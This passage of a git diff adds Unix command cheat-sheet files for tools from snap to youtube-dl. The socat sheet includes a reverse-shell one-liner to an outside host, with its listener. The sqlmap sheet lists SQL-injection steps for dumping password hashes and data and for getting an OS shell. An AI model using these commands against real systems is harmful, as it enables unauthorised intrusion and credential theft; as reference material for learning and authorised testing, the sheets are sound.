revert foo --revision 5 + +# To remove the `foo` snap: +sudo snap remove foo + +# To log in to snap (must first create account online): +sudo snap login + +# To log out of snap: +snap logout + +# To view a transaction log summary: +snap changes + +# To view details of item 123 in the transaction log: +snap change 123 + +# To watch transaction 123: +snap watch 123 + +# To abort transaction 123: +snap abort 123 + +# To download the `foo` snap (and its assertions) *without* installing it: +snap download foo + +# To install the locally-downloaded `foo` snap with assertions: +snap ack foo.assert +snap install foo.snap + +# To install the locally-downloaded `foo` snap without assertions: +# NB: this is dangerous, because the integrity of the snap will not be +# verified. You should only do this to test a snap that you are currently +# developing. +snap install --dangerous foo.snap + +# To install snap `foo` in "dev mode": +# NB: this is dangerous, and bypasses the snap sandboxing mechanisms +snap install --devmode foo + +# To install snap `foo` in "classic mode": +# NB: this is likewise dangerous +snap install --classic foo + +# To view available snap interfaces: +snap interfaces + +# To connect the `foo:camera` plug to the ubuntu core slot: +snap connect foo:camera :camera + +# To disconnect the `foo:camera` plug from the ubuntu core slot: +snap disconnect foo:camera + +# To disable the `foo` snap +snap disable foo + +# To enable the `foo` snap +snap enable foo + +# To set snap `foo`'s `bar` property to 10: +snap set foo bar=10 + +# To read snap `foo`'s current `bar` property: +snap get foo bar diff --git a/snmpwalk b/snmpwalk new file mode 100644 index 0000000..90c86ea --- /dev/null +++ b/snmpwalk @@ -0,0 +1,5 @@ +# To retrieve all of the variables under system for host zeus +snmpwalk -Os -c public -v 1 zeus system + +# To retrieve the scalar values, but omit the sysORTable for host zeus +snmpwalk -Os -c public -v 1 -CE sysORTable zeus system diff --git a/socat b/socat new file mode 100644 index 0000000..939141f --- /dev/null +++ b/socat @@ -0,0 +1,37 @@ +# socat connect to http-server (port 80 on 'butzel.info') +socat TCP4:butzel.info:80 - + +# connect to https-server (port 443 on 'butzel.info' with tls) +socat openssl:butzel.info:443 - + +# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions +socat -x tcp-listen:3180,fork - + +# practical examples: + +# complete real working http-example: +# (sleep is necessary to prevent socat closing socket before data received) +(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \ +| socat tcp4:butzel.info:80 - + +# http to httpS 'Proxy' (for an webserver without TLS-Support) +socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80 + +# port forwarding (e.g. own port 3180 to port 22(ssh) on target +socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh + +# TOR-forwarding (needs tor-daemon on port 9050 running) +socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050 + +# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200) +socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200 + +# udp to tcp +socat -u udp-recvfrom:1234,fork tcp:localhost:4321 + +# reverse shell: +socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180 + +# listener for above reverse shell (on remote.butzel.info): +socat file:`tty`,raw,echo=0 tcp-listen:3180 +# or: nc -lp 3180 diff --git a/sockstat b/sockstat new file mode 100644 index 0000000..21594fd --- /dev/null +++ b/sockstat @@ -0,0 +1,2 @@ +# To view which users/processes are listening to which ports: +sudo sockstat -l diff --git a/sort b/sort new file mode 100644 index 0000000..4c243ba --- /dev/null +++ b/sort @@ -0,0 +1,11 @@ +# To sort a file: +sort file + +# To sort a file by keeping only unique: +sort -u file + +# To sort a file and reverse the result: +sort -r file + +# To sort a file randomly: +sort -R file diff --git a/split b/split new file mode 100644 index 0000000..8ffd1f3 --- /dev/null +++ b/split @@ -0,0 +1,8 @@ +# To split a large text file into smaller files of 1000 lines each: +split file.txt -l 1000 + +# To split a large binary file into smaller files of 10M each: +split file.txt -b 10M + +# To consolidate split files into a single file: +cat x* > file.txt diff --git a/sport b/sport new file mode 100644 index 0000000..f3963cd --- /dev/null +++ b/sport @@ -0,0 +1,32 @@ +# Sync to newest SlackBuild.org tree +sport r + +# Search (fuzzy) SlackBuild tree for packages foo and BaR +sport s foo bar + +# Operate from alternate build tree +SBOPATH=/path/to/tree sport s foo + +# View info and README of BaR (not fuzzy) +sport c foo BaR + +# Build a package +sport i --build-only foo + +# Build and install package foo and BaR +sport i foo BaR + +# Build and install package from current directory +sport i . + +# Upgrade instead of install +INSTALLER=upgradepkg sport i foo + +# Build dependency list for baz +echo "foo BaR" >> /tmp/baz.list + +# Install list of packages from file +sport i $(< /tmp/baz.list) + +# Check if package is installed +sport k foo diff --git a/sqlite3 b/sqlite3 new file mode 100644 index 0000000..dc306f3 --- /dev/null +++ b/sqlite3 @@ -0,0 +1,23 @@ +# create database and launch interactive shell +sqlite3 example.db + +# create table +sqlite3 example.db "CREATE TABLE Os(ID INTEGER PRIMARY KEY, Name TEXT, Year INTEGER);" + +# insert data +sqlite3 example.db "INSERT INTO 'Os' VALUES(1,'Linux',1991);" + +# list tables +sqlite3 example.db ".tables" + +# describe table +sqlite3 example.db ".schema 'Os'" + +# view records in table +sqlite3 example.db "SELECT * FROM 'Os';" + +# view records in table conditionally +sqlite example.db "SELECT * FROM 'Os' WHERE Year='1991';" + +# view records with fuzzy matching +sqlite3 ~/example.db "SELECT * FROM 'Os' WHERE Year like '19%';" \ No newline at end of file diff --git a/sqlmap b/sqlmap new file mode 100644 index 0000000..92287c5 --- /dev/null +++ b/sqlmap @@ -0,0 +1,45 @@ +# Test URL and POST data and return database banner (if possible) +./sqlmap.py --url="" --data="" --banner + +# Parse request data and test | request data can be obtained with burp +./sqlmap.py -r + +# Fingerprint | much more information than banner +./sqlmap.py -r --fingerprint + +# Get database username, name, and hostname +./sqlmap.py -r --current-user --current-db --hostname + +# Check if user is a database admin +./sqlmap.py -r --is-dba + +# Get database users and password hashes +./sqlmap.py -r --users --passwords + +# Enumerate databases +./sqlmap.py -r --dbs + +# List tables for one database +./sqlmap.py -r -D --tables + +# Other database commands +./sqlmap.py -r -D --columns + --schema + --count +# Enumeration flags +./sqlmap.py -r -D + -T + -C + -U + +# Extract data +./sqlmap.py -r -D -T -C --dump + +# Execute SQL Query +./sqlmap.py -r --sql-query="" + +# Append/Prepend SQL Queries +./sqlmap.py -r --prefix="" --suffix="" + +# Get backdoor access to sql server | can give shell access +./sqlmap.py -r --os-shell diff --git a/ss b/ss new file mode 100644 index 0000000..8925108 --- /dev/null +++ b/ss @@ -0,0 +1,18 @@ +ss +Utility to investigate sockets + +Args +-4/-6 list ipv4/ipv6 sockets +-n numeric addresses instead of hostnames +-l list listing sockets +-u/-t/-x list udp/tcp/unix sockets +-p Show process(es) that using socket + +# show all listing tcp sockets including the corresponding process +ss -tlp + +# show all sockets connecting to 192.168.2.1 on port 80 +ss -t dst 192.168.2.1:80 + +# show all ssh related connection +ss -t state established '( dport = :ssh or sport = :ssh )' diff --git a/ssh b/ssh new file mode 100644 index 0000000..8049902 --- /dev/null +++ b/ssh @@ -0,0 +1,46 @@ +# To ssh via pem file (which normally needs 0600 permissions): +ssh -i /path/to/file.pem user@example.com + +# To connect on an non-standard port: +ssh -p 2222 user@example.com + +# To connect and forward the authentication agent +ssh -A user@example.com + +# To execute a command on a remote server: +ssh -t user@example.com 'the-remote-command' + +# To tunnel an x session over SSH: +ssh -X user@example.com + +# Redirect traffic with a tunnel between local host (port 8080) and a remote +# host (remote.example.com:5000) through a proxy (personal.server.com): +ssh -f -L 8080:remote.example.com:5000 user@personal.server.com -N + +# To launch a specific x application over SSH: +ssh -X -t user@example.com 'chromium-browser' + +# To create a SOCKS proxy on localhost and port 9999 +ssh -qND 9999 user@example.com + +# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999 +ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com + +# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish +ssh user@example.com -C -c blowfish -X + +# For more information, see: +# http://unix.stackexchange.com/q/12755/44856 + +# Copy files and folders through ssh from remote host to pwd with tar.gz compression +# when there is no rsync command available +ssh user@example.com "cd /var/www/Shared/; tar zcf - asset1 asset2" | tar zxf - + +# Mount folder/filesystem through SSH +# Install SSHFS from https://github.com/libfuse/sshfs +# Will allow you to mount a folder securely over a network. +sshfs name@server:/path/to/folder /path/to/mount/point + +# Emacs can read file through SSH +# Doc: http://www.gnu.org/software/emacs/manual/html_node/emacs/Remote-Files.html +emacs /ssh:name@server:/path/to/file diff --git a/ssh-copy-id b/ssh-copy-id new file mode 100644 index 0000000..604c824 --- /dev/null +++ b/ssh-copy-id @@ -0,0 +1,8 @@ +# To copy a key to a remote host: +ssh-copy-id username@host + +# To copy a key to a remote host on a non-standard port: +ssh-copy-id username@host -p 2222 + +# To copy a key to a remote host on a non-standard port with non-standard ssh key: +ssh-copy-id ~/.ssh/otherkey "username@host -p 2222" diff --git a/ssh-keygen b/ssh-keygen new file mode 100644 index 0000000..739527f --- /dev/null +++ b/ssh-keygen @@ -0,0 +1,20 @@ +# To generate an SSH key: +ssh-keygen -t rsa + +# To generate a 4096-bit SSH key: +ssh-keygen -t rsa -b 4096 + +# To update a passphrase on a key +ssh-keygen -p -P old_passphrase -N new_passphrase -f /path/to/keyfile + +# To remove a passphrase on a key +ssh-keygen -p -P old_passphrase -N '' -f /path/to/keyfile + +# To generate a 4096 bit RSA key with a passphase and comment containing the user and hostname +ssh-keygen -t rsa -b 4096 -C "$USER@$HOSTNAME" -P passphrase + +# To print the fingerprint of a public key +ssh-keygen -lf /path/to/keyfile + +# To print the Github-style (MD5) fingerprint of a public key +ssh-keygen -E md5 -lf /path/to/keyfile diff --git a/stdout b/stdout new file mode 100644 index 0000000..bff788a --- /dev/null +++ b/stdout @@ -0,0 +1,5 @@ +# To redirect stderr to stdout: +some-command 2>&1 + +# To redirect stderr to a file +some-command 2> errors.txt diff --git a/strace b/strace new file mode 100644 index 0000000..8ae4b41 --- /dev/null +++ b/strace @@ -0,0 +1,24 @@ +# Basic stracing +strace + +# save the trace to a file +strace -o strace.out + +# follow only the open() system call +strace -e trace=open + +# follow all the system calls which open a file +strace -e trace=file + +# follow all the system calls associated with process +# management +strace -e trace=process + +# follow child processes as they are created +strace -f + +# count time, calls and errors for each system call +strace -c + +# trace a running process (multiple PIDs can be specified) +strace -p \ No newline at end of file diff --git a/su b/su new file mode 100644 index 0000000..dec7bcc --- /dev/null +++ b/su @@ -0,0 +1,2 @@ +# Switch to another user account +su USERNAME diff --git a/svn b/svn new file mode 100644 index 0000000..8e2bf7a --- /dev/null +++ b/svn @@ -0,0 +1,20 @@ +# update working copy from repository +svn update "/path" + +# show changed files in working copy +svn status + +# show what changed in local file +svn diff "/path/filename" + +# add files or folders +svn add "path/item" + +# revert local uncommited changes +svn revert "/path/file" + +# commit changes to repo +svn commit -m "message" "/path" + +# show help for 'svn diff' +svn help diff diff --git a/systemctl b/systemctl new file mode 100644 index 0000000..932540c --- /dev/null +++ b/systemctl @@ -0,0 +1,36 @@ +# List all loaded/active units +systemctl list-units + +# Check the status of a service +systemctl status foo.service + +# Start a service +systemctl start foo.service + +# Restart a service +systemctl restart foo.service + +# Stop a service +systemctl stop foo.service + +# Reload a service's configuration +systemctl reload foo.service + +# Enable a service to startup on boot +systemctl enable foo.service + +# Disable a service to startup on boot +systemctl disable foo.service + +# List the dependencies of a service +# when no service name is specified, lists the dependencies of default.target +systemctl list-dependencies foo.service + +# List currently loaded targets +systemctl list-units --type=target + +# Change current target +systemctl isolate foo.target + +# Change default target +systemctl enable foo.target diff --git a/systemd b/systemd new file mode 100644 index 0000000..ff56eb5 --- /dev/null +++ b/systemd @@ -0,0 +1,18 @@ +# Display process startup time +systemd-analyze + +# Display process startup time at service level +systemd-analyze blame + +# List running units +systemctl list-units + +# Load a unit at startup +systemctl enable foo.service + +# Start or Stop a unit +systemctl foo.service + +# Unit file locations +/etc/systemd/system +/usr/lib/systemd/system diff --git a/tail b/tail new file mode 100644 index 0000000..7b9a4dc --- /dev/null +++ b/tail @@ -0,0 +1,14 @@ +# To show the last 10 lines of file +tail file + +# To show the last N lines of file +tail -n N file + +# To show the last lines of file starting with the Nth +tail -n +N file + +# To show the last N bytes of file +tail -c N file + +# To show the last 10 lines of file and to wait for file to grow +tail -f file diff --git a/tar b/tar new file mode 100644 index 0000000..41173b2 --- /dev/null +++ b/tar @@ -0,0 +1,34 @@ +# To extract an uncompressed archive: +tar -xvf /path/to/foo.tar + +# To create an uncompressed archive: +tar -cvf /path/to/foo.tar /path/to/foo/ + +# To extract a .gz archive: +tar -xzvf /path/to/foo.tgz + +# To create a .gz archive: +tar -czvf /path/to/foo.tgz /path/to/foo/ + +# To list the content of an .gz archive: +tar -ztvf /path/to/foo.tgz + +# To extract a .bz2 archive: +tar -xjvf /path/to/foo.tgz + +# To create a .bz2 archive: +tar -cjvf /path/to/foo.tgz /path/to/foo/ + +# To extract a .tar in specified Directory: +tar -xvf /path/to/foo.tar -C /path/to/destination/ + +# To list the content of an .bz2 archive: +tar -jtvf /path/to/foo.tgz + +# To create a .gz archive and exclude all jpg,gif,... from the tgz +tar czvf /path/to/foo.tgz --exclude=\*.{jpg,gif,png,wmv,flv,tar.gz,zip} /path/to/foo/ + +# To use parallel (multi-threaded) implementation of compression algorithms: +tar -z ... -> tar -Ipigz ... +tar -j ... -> tar -Ipbzip2 ... +tar -J ... -> tar -Ipixz ... diff --git a/tcpdump b/tcpdump new file mode 100644 index 0000000..0011635 --- /dev/null +++ b/tcpdump @@ -0,0 +1,63 @@ +# TCPDump is a packet analyzer. It allows the user to intercept and display TCP/IP +# and other packets being transmitted or received over a network. (cf Wikipedia). +# Note: 173.194.40.120 => google.com + +# Intercepts all packets on eth0 +tcpdump -i eth0 + +# Intercepts all packets from/to 173.194.40.120 +tcpdump host 173.194.40.120 + +# Intercepts all packets on all interfaces from / to 173.194.40.120 port 80 +# -nn => Disables name resolution for IP addresses and port numbers. +tcpdump -nn -i any host 173.194.40.120 and port 80 + +# Make a grep on tcpdump (ASCII) +# -A => Show only ASCII in packets. +# -s0 => By default, tcpdump only captures 68 bytes. +tcpdump -i -A any host 173.194.40.120 and port 80 | grep 'User-Agent' + +# With ngrep +# -d eth0 => To force eth0 (else ngrep work on all interfaces) +# -s0 => force ngrep to look at the entire packet. (Default snaplen: 65536 bytes) +ngrep 'User-Agent' host 173.194.40.120 and port 80 + +# Intercepts all packets on all interfaces from / to 8.8.8.8 or 173.194.40.127 on port 80 +tcpdump 'host ( 8.8.8.8 or 173.194.40.127 ) and port 80' -i any + +# Intercepts all packets SYN and FIN of each TCP session. +tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0' + +# To display SYN and FIN packets of each TCP session to a host that is not on our network +tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0 and not src and dst net local_addr' + +# To display all IPv4 HTTP packets that come or arrive on port 80 and that contain only data (no SYN, FIN no, no packet containing an ACK) +tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' + +# Saving captured data +tcpdump -w file.cap + +# Reading from capture file +tcpdump -r file.cap + +# Show content in hexa +# Change -x to -xx => show extra header (ethernet). +tcpdump -x + +# Show content in hexa and ASCII +# Change -X to -XX => show extra header (ethernet). +tcpdump -X + +# Note on packet maching: +# Port matching: +# - portrange 22-23 +# - not port 22 +# - port ssh +# - dst port 22 +# - src port 22 +# +# Host matching: +# - dst host 8.8.8.8 +# - not dst host 8.8.8.8 +# - src net 67.207.148.0 mask 255.255.255.0 +# - src net 67.207.148.0/24 diff --git a/tee b/tee new file mode 100644 index 0000000..f2de805 --- /dev/null +++ b/tee @@ -0,0 +1,8 @@ +# To tee stdout to a file: +ls | tee outfile.txt + +# To tee stdout and append to a file: +ls | tee -a outfile.txt + +# To tee stdout to the terminal, and also pipe it into another program for further processing: +ls | tee /dev/tty | xargs printf "\033[1;34m%s\033[m\n" diff --git a/tmux b/tmux new file mode 100644 index 0000000..ef72007 --- /dev/null +++ b/tmux @@ -0,0 +1,56 @@ +# Start tmux: +tmux + +# Detach from tmux: +Ctrl-b d + +# Restore tmux session: +tmux attach + +# Detach an already attached session (great if you are moving devices with different screen resolutions) +tmux attach -d + +# Display session: +tmux ls + +# Rename session: +Ctrl-b $ + +# Switch session: +Ctrl-b s + +# Start a shared session: +tmux -S /tmp/your_shared_session +chmod 777 /tmp/your_shared_session + +# Help screen (Q to quit): +Ctrl-b ? + +# Scroll in window: +Ctrl-b PageUp/PageDown + +# Reload configuation file +Ctrl-b : source-file /path/to/file + +# Window management +# ================= + +# Create window: +Ctrl-b c + +# Destroy window: +Ctrl-b x + +# Switch between windows: +Ctrl-b [0-9] +or +Ctrl-b Arrows + +# Split windows horizontally: +Ctrl-b % + +# Split windows vertically: +Ctrl-b " + +# Swap windows +Ctrl-b :swap-window -s [0-9] -t [0-9] diff --git a/top b/top new file mode 100644 index 0000000..46c0c8d --- /dev/null +++ b/top @@ -0,0 +1,26 @@ +# Update every samples: +top -i + +# Set the delay between updates to seconds: +top -s + +# Set event counting to accumulative mode: +top -a + +# Set event counting to delta mode: +top -d + +# Set event counting to absolute mode: +top -e + +# Do not calculate statistics on shared libraries, also known as frameworks: +top -F + +# Calculate statistics on shared libraries, also known as frameworks (default): +top -f + +# Print command line usage information and exit: +top -h + +# Order the display by sorting on in descending order +top -o diff --git a/tr b/tr new file mode 100644 index 0000000..09849e4 --- /dev/null +++ b/tr @@ -0,0 +1,22 @@ +#replace : with new line +echo $PATH|tr ":" "\n" #equivalent with: +echo $PATH|tr -t ":" \n + +#remove all occurance of "ab" +echo aabbcc |tr -d "ab" +#ouput: cc + +#complement "aa" +echo aabbccd |tr -c "aa" 1 +#output: aa11111 without new line +#tip: Complement meaning keep aa,all others are replaced with 1 + +#complement "ab\n" +echo aabbccd |tr -c "ab\n" 1 +#output: aabb111 with new line + +#Preserve all alpha(-c). ":-[:digit:] etc" will be translated to "\n". sequeeze mode. +echo $PATH|tr -cs "[:alpha:]" "\n" + +#ordered list to unordered list +echo "1. /usr/bin\n2. /bin" |tr -cs " /[:alpha:]\n" "+" diff --git a/trashy b/trashy new file mode 100644 index 0000000..edc6d2b --- /dev/null +++ b/trashy @@ -0,0 +1,14 @@ +# Trash foo and bar +trash foo bar + +# Trash "foo bar" +trash foo\ bar + +# List files in trash +trash -v --list + +# Restore foo from trash +trash --restore foo + +# Empty trash +trash --empty diff --git a/tree b/tree new file mode 100644 index 0000000..cb09f73 --- /dev/null +++ b/tree @@ -0,0 +1,11 @@ +# To display a recursive directory tree +tree + +# To make tree output contents from path `/foo/bar` +tree /foo/bar + +# To make tree omit any empty directories from the output +tree --prune + +# To list directories only (`-d`), and at a max depth of two levels (`-L`) +tree -d -L 2 diff --git a/truncate b/truncate new file mode 100644 index 0000000..17bc76e --- /dev/null +++ b/truncate @@ -0,0 +1,10 @@ +# To clear the contents from a file: +truncate -s 0 file.txt + +# To truncate a file to 100 bytes: +truncate -s 100 file.txt + +# To truncate a file to 100 KB: +truncate -s 100K file.txt + +# (M, G, T, P, E, Z, and Y may be used in place of "K" as required.) diff --git a/udisksctl b/udisksctl new file mode 100644 index 0000000..2cd929b --- /dev/null +++ b/udisksctl @@ -0,0 +1,11 @@ +# Get info about block device +udisksctl info -b + +# Mounting device +udisksctl mount --block-device + +# Unmounting device +udisksctl unmount --block-device + +# Get help +udisksctl help diff --git a/uname b/uname new file mode 100644 index 0000000..12bbcc7 --- /dev/null +++ b/uname @@ -0,0 +1,27 @@ +# Print all system information +uname -a +# Linux system-hostname 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux + +# Print the hostname +uname -n +# system-hostname + +# Print the kernel release +uname -r +# 3.2.0-4-amd64 + +# Print the kernel version, with more specific information +uname -v +# #1 SMP Debian 3.2.32-1 + +# Print the hardware instruction set +uname -m +# x86_64 + +# Print the kernel name +uname -s +# Linux + +# Print the operating system +uname -o +# GNU/Linux diff --git a/uniq b/uniq new file mode 100644 index 0000000..b9abd3d --- /dev/null +++ b/uniq @@ -0,0 +1,18 @@ +# show all lines without duplication +# `sort -u` and `uniq` is the same effect. +sort file | uniq + +# show not duplicated lines +sort file | uniq -u + +# show duplicated lines only +sort file | uniq -d + +# count all lines +sort file | uniq -c + +# count not duplicated lines +sort file | uniq -uc + +# count only duplicated lines +sort file | uniq -dc diff --git a/unzip b/unzip new file mode 100644 index 0000000..6d8a792 --- /dev/null +++ b/unzip @@ -0,0 +1,8 @@ +# Extract archive +unzip archive.zip + +# Test integrity of archive +unzip -tq archive.zip + +# List files and directories in a file +unzip -l archive.zip diff --git a/urpm b/urpm new file mode 100644 index 0000000..3cb93f2 --- /dev/null +++ b/urpm @@ -0,0 +1,14 @@ +# search (fuzzy) for package foo +urpmq -Y foo + +# check if foo is installed +rpm -q foo + +# install package foo +urpmi foo + +# download but don't install foo +urpmi --no-install foo + +# uninstall package foo +urpme foo diff --git a/vagrant b/vagrant new file mode 100644 index 0000000..7184eb9 --- /dev/null +++ b/vagrant @@ -0,0 +1,33 @@ +# Initate Vagrant +mkdir vag-vm; cd vag-vm +vagrant init + +# Add a box to vagrant repo +vagrant box add hashicorp/precise32 + +# Add a box Vagrant file +config.vm.box = "hashicorp/precise32" + +# Add vm to public network as host +config.vm.network "public_network" + +# Add provision script to vagrant file +config.vm.provision :shell, path: "provision.sh" + +# Start vm +vagrant up + +# Connect to started instance +vagrant ssh + +# Shutdown vm +vagrant halt + +# Hibernate vm +vagrant suspend + +# Set vm to initial state by cleaning all data +vagrant destroy + +# Restart vm with new provision script +vagrant reload --provision diff --git a/vim b/vim new file mode 100644 index 0000000..3540bb2 --- /dev/null +++ b/vim @@ -0,0 +1,80 @@ +# File management + +:e reload file +:q quit +:q! quit without saving changes +:w write file +:w {file} write new file +:x write file and exit + +# Movement + + k + h l basic motion + j + +w next start of word +W next start of whitespace-delimited word +e next end of word +E next end of whitespace-delimited word +b previous start of word +B previous start of whitespace-delimited word +0 start of line +$ end of line +gg go to first line in file +G go to end of file +gk move down one displayed line +gj move up one displayed line + +# Insertion +# To exit from insert mode use Esc or Ctrl-C +# Enter insertion mode and: + +a append after the cursor +A append at the end of the line +i insert before the cursor +I insert at the beginning of the line +o create a new line under the cursor +O create a new line above the cursor +R enter insert mode but replace instead of inserting chars +:r {file} insert from file + +# Editing + +u undo +yy yank (copy) a line +y{motion} yank text that {motion} moves over +p paste after cursor +P paste before cursor + or x delete a character +dd delete a line +d{motion} delete text that {motion} moves over + +# Search and replace with the `:substitute` (aka `:s`) command + +:s/foo/bar/ replace the first match of 'foo' with 'bar' on the current line only +:s/foo/bar/g replace all matches (`g` flag) of 'foo' with 'bar' on the current line only +:%s/foo/bar/g replace all matches of 'foo' with 'bar' in the entire file (`:%s`) +:%s/foo/bar/gc ask to manually confirm (`c` flag) each replacement + +# Preceding a motion or edition with a number repeats it 'n' times +# Examples: +50k moves 50 lines up +2dw deletes 2 words +5yy copies 5 lines +42G go to line 42 + +# Multiple windows +:e filename - edit another file +:split filename - split window and load another file +ctrl-w up arrow - move cursor up a window +ctrl-w ctrl-w - move cursor to another window (cycle) +ctrl-w_ - maximize current window +ctrl-w= - make all equal size +10 ctrl-w+ - increase window size by 10 lines +:vsplit file - vertical split +:sview file - same as split, but readonly +:hide - close current window +:only - keep only this window open +:ls - show current buffers +:b 2 - open buffer #2 in this window diff --git a/virtualenv b/virtualenv new file mode 100644 index 0000000..a0fb6d4 --- /dev/null +++ b/virtualenv @@ -0,0 +1,38 @@ +# Create new environment +virtualenv /path/to/project/env_name + +# Create new environment and inherit already installed Python libraries +virtualenv --system-site-package /path/to/project/env_name + +# Create new environment with a given Python interpreter +virtualenv /path/to/project/env_name -p /usr/bin/python/3.4 + +# Activate environnment +source /path/to/project/env_name/bin/activate + +# Quit environment +deactivate + + +# virtualenvwrapper (wrapper for virtualenv) +# installation +pip install --user virtualenvwrapper +# configuration +# add in ~/.bashrc or similar +export WORKON_HOME=~/.virtualenvs +mkdir -p $WORKON_HOME +source ~/.local/bin/virtualenvwrapper.sh + +# Create new environmment (with virtualenvwrapper) +mkvirtualenv env_name +# new environmment is stored in ~/.virtualenvs + +# Activate environmment (with virtualenvwrapper) +workon env_name + +# Quit environmment (with virtualenvwrapper) +deactivate + +# Delete environmment (with virtualenvwrapper) +rmvirtualenv env_name + diff --git a/wc b/wc new file mode 100644 index 0000000..c8d771e --- /dev/null +++ b/wc @@ -0,0 +1,18 @@ +# Count the number of words (file or STDIN) +wc -w /path/to/foo.txt +cat /path/to/foo.txt | wc -w + +# Count the number of lines (file or STDIN) +wc -l /path/to/foo.txt +cat /path/to/foo.txt | wc -l + +# Count the number of bytes (file or STDIN) +wc -c /path/to/foo.txt +cat /path/to/foo.txt | wc -c + +# Count files and directories at a given location +ls -l | wc -l + +# If you ever use `wc` in a shell script and need to compare the output with an int you can +# clean the output (wc returns extra characters around the integer) by using xargs: +ls -l | wc -l | xargs diff --git a/weechat b/weechat new file mode 100644 index 0000000..f001b4c --- /dev/null +++ b/weechat @@ -0,0 +1,16 @@ +# Set unread marker on all windows +Ctrl-s Ctrl-u + +# Switch buffer left +Ctrl-p, Alt-left +# Switch buffer right +Ctrl-n, Alt-right +# Next buffer with activity +Alt-a +# Switch buffers +Alt-0...9 + +# Scroll buffer title +F9/F10 +# Scroll nick list +F11/F12 diff --git a/wget b/wget new file mode 100644 index 0000000..db754a0 --- /dev/null +++ b/wget @@ -0,0 +1,35 @@ +# To download a single file +wget http://path.to.the/file + +# To download a file and change its name +wget http://path.to.the/file -O newname + +# To download a file into a directory +wget -P path/to/directory http://path.to.the/file + +# To continue an aborted downloaded +wget -c http://path.to.the/file + +# To download multiples files with multiple URLs +wget URL1 URL2 + +# To parse a file that contains a list of URLs to fetch each one +wget -i url_list.txt + +# To mirror a whole page locally +wget -pk http://path.to.the/page.html + +# To mirror a whole site locally +wget -mk http://site.tl/ + +# To download files according to a pattern +wget http://www.myserver.com/files-{1..15}.tar.bz2 + +# To download all the files in a directory with a specific extension if directory indexing is enabled +wget -r -l1 -A.extension http://myserver.com/directory + +# Allows you to download just the headers of responses (-S --spider) and display them on Stdout (-O -). +wget -S --spider -O - http://google.com + +# Change the User-Agent to 'User-Agent: toto' +wget -U 'toto' http://google.com diff --git a/xargs b/xargs new file mode 100644 index 0000000..a1391f3 --- /dev/null +++ b/xargs @@ -0,0 +1,16 @@ +# find all file name ending with .pdf and remove them +find -name *.pdf | xargs rm -rf + +# if file name contains spaces you should use this instead +find -name *.pdf | xargs -I{} rm -rf '{}' + +# Will show every .pdf like: +# &toto.pdf= +# &titi.pdf= +# -n1 => One file by one file. ( -n2 => 2 files by 2 files ) + +find -name *.pdf | xargs -I{} -n1 echo '&{}=' + +# If find returns no result, do not run rm +# This option is a GNU extension. +find -name "*.pdf" | xargs --no-run-if-empty rm diff --git a/xmlto b/xmlto new file mode 100644 index 0000000..51a67f0 --- /dev/null +++ b/xmlto @@ -0,0 +1,14 @@ +# DocBook XML to PDF +xmlto pdf mydoc.xml + +# DocBook XML to HTML +xmlto -o html-dir html mydoc.xml + +# DocBook XML to single HTML file +xmlto html-nochunks mydoc.xml + +# modify output with XSL override +xmlto -m ulink.xsl pdf mydoc.xml + +# use non-default xsl +xmlto -x mystylesheet.xsl pdf mydoc.xml diff --git a/xrandr b/xrandr new file mode 100644 index 0000000..01589f7 --- /dev/null +++ b/xrandr @@ -0,0 +1,11 @@ +# To enable HDMI2 output with maximal resolution: +xrandr --output HDMI2 --auto + +# To enable HDMI2 output with specific resolution: +xrandr --output HDMI2 --mode 1280x800 + +# To enable HDMI2 output next to HDMI1 output: +xrandr --output HDMI2 --auto --right-of HDMI1 + +# To disable HDMI2 output: +xrandr --output HDMI2 --off diff --git a/xxd b/xxd new file mode 100644 index 0000000..89efb28 --- /dev/null +++ b/xxd @@ -0,0 +1,8 @@ +# Convert bin/string to hex. +# Result: 34322069732074686520736f6c7574696f6e0a +echo '42 is the solution' | xxd -p + +# Convert hex to bin/string. +# Result: 42 is the solution +echo '34322069732074686520736f6c7574696f6e0a' | xxd -r -p + diff --git a/yaourt b/yaourt new file mode 100644 index 0000000..f3a6ec1 --- /dev/null +++ b/yaourt @@ -0,0 +1,23 @@ +# All pacman commands are working the same way with yaourt. +# Just check the pacman cheatsheet. +# For instance, to install a package : +pacman -S +yaourt -S +# The difference is that yaourt will also query the Arch User Repository, +# and if appropriate, donwload the source and build the package requested. + +# Here are the commands yaourt provides while pacman doesn't : + +# To search for a package and install it +yaourt + +# To update the local package base and upgrade all out of date package, including the ones from +AUR and the packages based on development repos (git, svn, hg...) +yaourt -Suya --devel + +# For all of the above commands, if you want yaourt to stop asking constantly for confirmations, +use the option --noconfirm + +# To build a package from source +yaourt -Sb + diff --git a/youtube-dl b/youtube-dl new file mode 100644 index 0000000..1c6a278 --- /dev/null +++ b/youtube-dl @@ -0,0 +1,23 @@ +# To download a video in 720p MP4: +youtube-dl -f 22 example.com/watch?v=id + +# To download a video in 720p MP4 or WebM or FLV: +youtube-dl -f 22/45/120 + +# To list all available formats of a video: +youtube-dl -F example.com/watch?v=id + +# To download a video to /$uploader/$date/$title.$ext: +youtube-dl -o '%(uploader)s/%(date)s/%(title)s.%(ext)s' example.com/watch?v=id + +# To download a video playlist starting from a certain video: +youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid + +# To simulate a download with youtube-dl: +youtube-dl -s example.com/watch?v=id + +# To download audio in mp3 format with best quality available +youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id + +# For all video formats see link below (unfold "Comparison of YouTube media encoding options") +# 